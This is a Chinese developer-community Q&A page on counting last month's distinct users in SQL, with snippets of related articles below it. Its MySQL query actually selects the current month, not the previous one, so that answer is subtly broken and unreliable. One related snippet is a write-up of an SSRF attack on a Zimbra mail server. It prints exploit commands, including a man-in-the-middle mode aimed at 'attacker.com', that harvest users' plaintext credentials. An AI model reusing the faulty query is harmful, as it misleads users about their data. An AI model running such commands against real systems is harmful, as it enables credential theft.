首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

获取上个月的Distinct用户总数,以SQL表示

要获取上个月的独立(Distinct)用户总数,你可以使用SQL查询来实现。以下是一个基本的SQL查询示例,假设你有一个名为user_activity的表,其中有一个user_id字段用于标识用户,以及一个activity_date字段用于记录活动日期:

代码语言:txt
复制
SELECT COUNT(DISTINCT user_id) AS unique_users_last_month
FROM user_activity
WHERE activity_date >= DATE_TRUNC('month', CURRENT_DATE - INTERVAL '1 month')
  AND activity_date < DATE_TRUNC('month', CURRENT_DATE);

这里的DATE_TRUNC('month', date)函数用于将日期截断到月份级别。CURRENT_DATE - INTERVAL '1 month'计算出上个月的第一天,而CURRENT_DATE则代表当前日期。这个查询将计算出上个月第一天到当前日期之前的所有记录中的独立用户数。

请注意,SQL语法可能会根据你使用的数据库系统(如MySQL、PostgreSQL、SQL Server等)有所不同。上面的示例使用了通用的SQL语法,但某些函数可能需要根据你的数据库系统进行调整。

如果你使用的是MySQL,可以使用LAST_DAY()DATE_ADD()函数来调整日期范围:

代码语言:txt
复制
SELECT COUNT(DISTINCT user_id) AS unique_users_last_month
FROM user_activity
WHERE activity_date >= DATE_ADD(LAST_DAY(CURRENT_DATE - INTERVAL 1 MONTH) + INTERVAL 1 DAY, INTERVAL 0 MONTH)
  AND activity_date < LAST_DAY(CURRENT_DATE) + INTERVAL 1 DAY;

在SQL Server中,可以使用DATEADD()EOMONTH()函数:

代码语言:txt
复制
SELECT COUNT(DISTINCT user_id) AS unique_users_last_month
FROM user_activity
WHERE activity_date >= DATEADD(MONTH, DATEDIFF(MONTH, 0, DATEADD(MONTH, -1, GETDATE())), 0)
  AND activity_date < DATEADD(MONTH, DATEDIFF(MONTH, 0, GETDATE()), 0);

确保在实际的数据库环境中测试这些查询,并根据需要调整表名和字段名。如果你遇到任何问题,比如查询结果不正确或者性能问题,请检查索引是否已经正确地建立在user_idactivity_date字段上,以及是否有足够的数据来生成准确的结果。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

SQL 在使用 GROUP BY 进行归类汇总时候直接获取总数

SQL 中我们一般使用 GROUP BY 进行归类汇总,比如微信机器人高级版对消息类型中进行汇总 SQL 为: SELECT COUNT( * ) AS count, MsgType FROM wp_weixin_messages...COUNT( * ) AS count, MsgType FROM wp_weixin_messages GROUP BY MsgType ORDER BY count DESC 如果要计算每种类型比例...,又要使用一条新 SQL 到数据库里面查询一次,有没有办法在使用 GROUP BY 进行归类汇总时候直接获取总数,查询了下 MySQL 说明文档,我们可以使用 WITH ROLLUP。...SELECT COUNT( * ) AS count, MsgType FROM wp_weixin_messages GROUP BY MsgType WITH ROLLUP 这样获取一个字段就是总数...MsgType, 'total' ) AS MsgType FROM wp_weixin_messages GROUP BY MsgType WITH ROLLUP 但是使用 WITH ROLLUP 有个不好地方

1.7K40

hive sql(三)—— 求所有用户和活跃用户总数及平均年龄

需求 求所有用户和活跃用户总数及平均年龄 建表语句 create table user_age( dt string, user_id string, age int ) row..._c3 0 0.0 2 19.00 3 27.0 0 0.00 分析 1、这里有两次去重,第一次去重是一个用户一天内多次访问,只算一次,第二次一个用户有多个连续登录,那么实际情况中,第一次去重是常规操作...03-27,2),(03-28,3),(03-29,4),通过日期相减后得到值都是结果是03-21,03-25,只有03-25结果是日期是连续 4、这里需要计算所有用户平均年龄和活跃用户平均年龄...,维度不同,在不同列展示,而union all需要保证列数相同,所以这里需要补默认值 扩展 min(age)作用: 1、满足分组时把age从子查询带出 2、用户每天登录,年龄可能会随着日期变化,所以潜在计算规则中是每次根据用户和日期分组时取最小年龄...知识点 1、date_sub(日期,数值)表示用日期-数值,返回日期字符串 2、cast(数据类型1 as 数据类型2)表示将数据类型1强转成数据类型2 3、decimal(10,2)是整数位长度为10

1K20
  • 挖洞经验 | SSRF获取Zimbra邮件服务用户明文凭据

    本文讲述了作者邮件登录服务为突破口,利用其中Zimbra应用功能和邮件端口配置bug,可以对目标邮件服务端执行流量转发设置(SSRF),实现对所有登录用户明文凭据信息窃取。...、用户会直接与Zimbra应用实现交互; 4、邮件服务端会从缓存中取后台服务路径; 5、邮件服务端交互会伴随用户数据和相应URL服务路径。...这里中间人攻击思路为: 1、用户登录进入邮箱,后端IP把用户凭据等相关信息进行了缓存; 2、攻击者把后端IP地址更改指向为攻击者自己控制IP地址; 3、目标邮件服务端maix.hezardastan.net...HezarSploit.py -m dumpusers 2、假冒IMAPSSL服务端直接与用户通信,并获取其中用户凭据: python HezarSploit.py -m mitm —port 4444...user all —ip attacker.com —port 4444 结果: 这种方式可以获取到几乎所有登录到maix.hezardastan.net用户名和密码信息,注意,密码全是明文!

    1.9K20

    游戏行业实战案例1:日活跃率分析

    /当日活跃玩家总数) 1.计算开服首日游戏DAU(日活跃玩家数) 游戏DAU(日活跃玩家数),第一步就是要明确什么是日活跃玩家数,日活跃玩家数表示当日至少登录过游戏一次不重复玩家数。...开服首日活跃玩家总数即开服首日游戏DAU,在前面我们已经计算得出,现在我们来计算开服次日仍登录活跃玩家数。 开服次日仍登录活跃玩家数表示:开服首日登录过且在开服次日仍然登录不重复玩家数。...计算开服首日(2022-08-13)活跃玩家总数SQL书写方法如下: select count(distinct 角色id) from 登录日志 where 日期 = '2022-08-13'...; 根据次日留存率计算方法可知,计算次日仍登录活跃玩家数count(distinct 角色id)/计算首日登录活跃用户count(distinct 角色id)即为次日留存率。...因此,可以将计算开服首日活跃玩家总数SQL语句带入计算开服次日仍登录活跃玩家数SQL语句中,进行除法运算。

    61930

    hive sql(网友1)—— 用户记录去重,两次记录间隔超过90天算新记录总数及平均年龄

    需求 用户记录去重,两次记录间隔超过90天算新记录——此案例已征求网友同意 建表语句 create table wangyou( uid string, time string );...1.每个用户有多条记录,将每个用户最早一个日期作为参数A,每条记录都与最小值相减,得到间隔天数; 2.如果间隔天数<=90,则参数A仍然是最早日期。...例如左边例子,最终uid=1去重后保留2021-01-01,2021-04-02,2021-07-02 #实现语句分析 思路: 1、先按uid开窗排序,并且取出日期最小一条数据,作为参考 2、计算每条数据日期与参考日期差值...3、判断差值所以哪个范围,这样会得到同一个范围有多个flag 4、对flag去重,每个flag组里日期最小数据就是去重之后要保留结果 重点: 数据是有特征,符合一定逻辑。...本次逻辑在于先将数据分段,90天一周期就是数据分类特征。

    1.3K30

    程序员需要了解十个高级SQL概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    1.2K10

    常用指标如何分析?

    【面试题】某公司数据库里有3张表,销售订单表、产品明细表、销售网点表 ”销售订单表”记录了销售情况,每一张数据表示哪位顾客、在哪一天、哪个网点购买了什么产品,购买数量是多少,以及对应产品零售价 “...from 销售订单表; 3.客单价 客单价是平均每个用户购买金额,客单价=总销售金额/用户总数 总销售金额、用户总数在前面我们已经分析出来了,现在计算客单价就简单了,也就是 sum(销售数量*零售价...4.客单件 客单件是平均每个用户购买件数,客单件=总销售数量/用户总数 sum(销售数量)/count(distinct 顾客ID) as 客单件 5.人均购买频次 人均购买频次是平均每个顾客购买几次...,人均购买频次=总订单数/用户总数 count(订单号)/count(distinct 顾客ID) as 人均购买频次 到现在,我们已经得到了问题中常用指标,购买人数、销售金额、客单价、客单件。...where year(交易日期)="2020" and quarter(交易日期)=1 把前面每一步SQL放到一起,就是最终SQL: select count(distinct 顾客ID) as

    1.2K10

    10 个高级 SQL 查询技巧

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...例如,您可能需要将数据分组组或将可变格式从DD-MM-Yyyy转换为简单月份。 示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    17710

    10 个高级 SQL 概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    94610

    新上架游戏APP,咋分析?

    SQL写法一: select distinct 用户ID,用户年龄 from 用户登录信息表; SQL写法二: select 用户ID,用户年龄 from 用户登录信息表 group by 用户ID...; 查询结果: 查询结果作为临时表a,接下来用计算用户数量(count函数)和求用户平均年龄(avg函数) SQL写法如下: select count(用户ID) as 用户总数 ,avg(用户年龄...将表a理解为用户登录时间,将表b理解为用户再次登录时间,通过计算登录时间与再次登录时间时间差,时间差等于1即表示今天也登录,明天也登录(连续两天登录) select a.登录日期...d,用case when语句选出时间间隔=1数据,计算活跃用户总数(count)和活跃用户平均年龄(avg) SQL书写如下: select count(distinct case when 时间间隔...from d; 将临时表dSQL代入,最终SQL代码如下: select count(distinct case when 时间间隔=1 then 用户ID else null end ) as 活跃用户总数

    37120

    SQL 必须了解 10 个高级概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as (    SELECT id           , ...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    86120

    SQL 必须了解10个高级概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    12110

    SQL 必须了解10个高级概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    1.1K30

    必须了解十个高级 SQL 概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工ID管理器ID递归CTE示例: with org_structure as ( SELECT id ,...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写SQL查询重新格式化表,以便每个月有一个收入列。...8.计算Delta值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...但如果你没有,这可能是最有用窗口功能之一,特别是当您想要可视化增长! 使用具有SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个SQL查询,查找与其上一个(昨天)日期相比温度较高所有日期ID。

    1.1K20

    必知必会十个高级 SQL 概念

    这是所有与锚构件联盟 停止递归构件终止条件 以下是获取每个员工 ID 管理器 ID 递归 CTE 示例: ``` with org_structure as ( SELECT id...例如,如果您有一个月列,并且您希望为每个月创建一个单个列,则可以使用语句追溯数据情况。 示例问题:编写 SQL 查询重新格式化表,以便每个月有一个收入列。...计算 Delta 值 另一个常见应用程序是将不同时期值进行比较。例如,本月和上个月销售之间三角洲是什么?或者本月和本月去年这个月是什么?...使用具有 SUM()窗口函数,我们可以计算运行总数。...示例问题:给定天气表,写一个 SQL 查询,查找与其上一个(昨天)日期相比温度较高所有日期 ID。

    94300

    SQL 从入门到放弃:ROW_NUMBER() OVER 和 ROLLUP

    下面举个栗子,说说我学到一些 SQL 函数和简化 SQL 方法, Hive SQL 作为模版。代表因为 SQL 函数和语法大多类似,原理通用,在使用其他 SQL 时参考即可。...,需要以下数据: 当日总订单数 当日总购买用户数 当日总和根据商户分组订单状态为已完结订单数和用户数 当日总和根据商户分组订单状态为已取消订单数和用户数 我们把产品爸爸需求翻译一下,就变成了求下列的当日数据...例如,获取这两个总数 SQL : SELECT COUNT(1) AS total_order_day, COUNT(DISTINCT (user_id)) AS total_user_day...DISTINCT 根据字段去重。 如何对数据进行上卷分析 上卷,用人话来说,就是汇总数据得到总值。在后面的4个数据中,不仅要根据 merchant_id 分组得到小计,还要得到总值。...首先看下,不考虑根据 merchant_id 分组情况,要获取 total_cancel_user_day、total_cancel_user_day SQL : SELECT

    47010

    编程思想之--闹心分页,去重问题

    我一开始也想到了减掉总记录数,但是减去总记录数后会影响后面的分页计算,从而得到错误结果。于是我想到了修改sql。一开始我sql是: <!...= 0 limit 0, 10 之后我先想到了将总数去重,然后再查询实际记录去重,于是我统计sqlcount(t.ID) 改成了 count(DISTINCT t.ID)...,这样就成功减掉了总数;然而在做分页去重时却遇到了难度,因为DISTINCT只能写在最前面,后面的所有的列都相同才去重,所以就无法将分页审核记录合并为一条,于是我突发奇想先查询到真实记录,组建成临时表...,然后再去查临时表并易id分组,这样就成功去重了,sql如下: <!...但如果在单据表上加一列专门用户存储当前层次审核结果,这样无论是审核通过,还是拒绝也能知道是那个人拒绝了,就不会存在上面最初问题了,所以我觉得修改表结构才是上上之法。

    75710

    SQL | 数据分析面试必备SQL语句+语法

    本文将从三大块介绍入门SQL需要掌握语法和知识,分别是 最基础选择(select)和连接(join/union) 最常用函数(distinct/group by/order by等) 一些小小进阶技巧...最常用(更有多重组合) 为方便大家理解每个函数作用,先建一个表,后面这个为示例。 ? 如果有千万用户数据,想知道有多少去重用户数?...,例如计算最大值、最小值、平均值、总数、求和 只想查看A公司男女人数数据?...rank()排序相同时会重复,总数不会变 ,意思是会出现1、1、3这样排序结果; dense_rank() 排序相同时会重复,总数会减少,意思是会出现1、1、2这样排序结果。...想要获取top10%值?

    3K41
    领券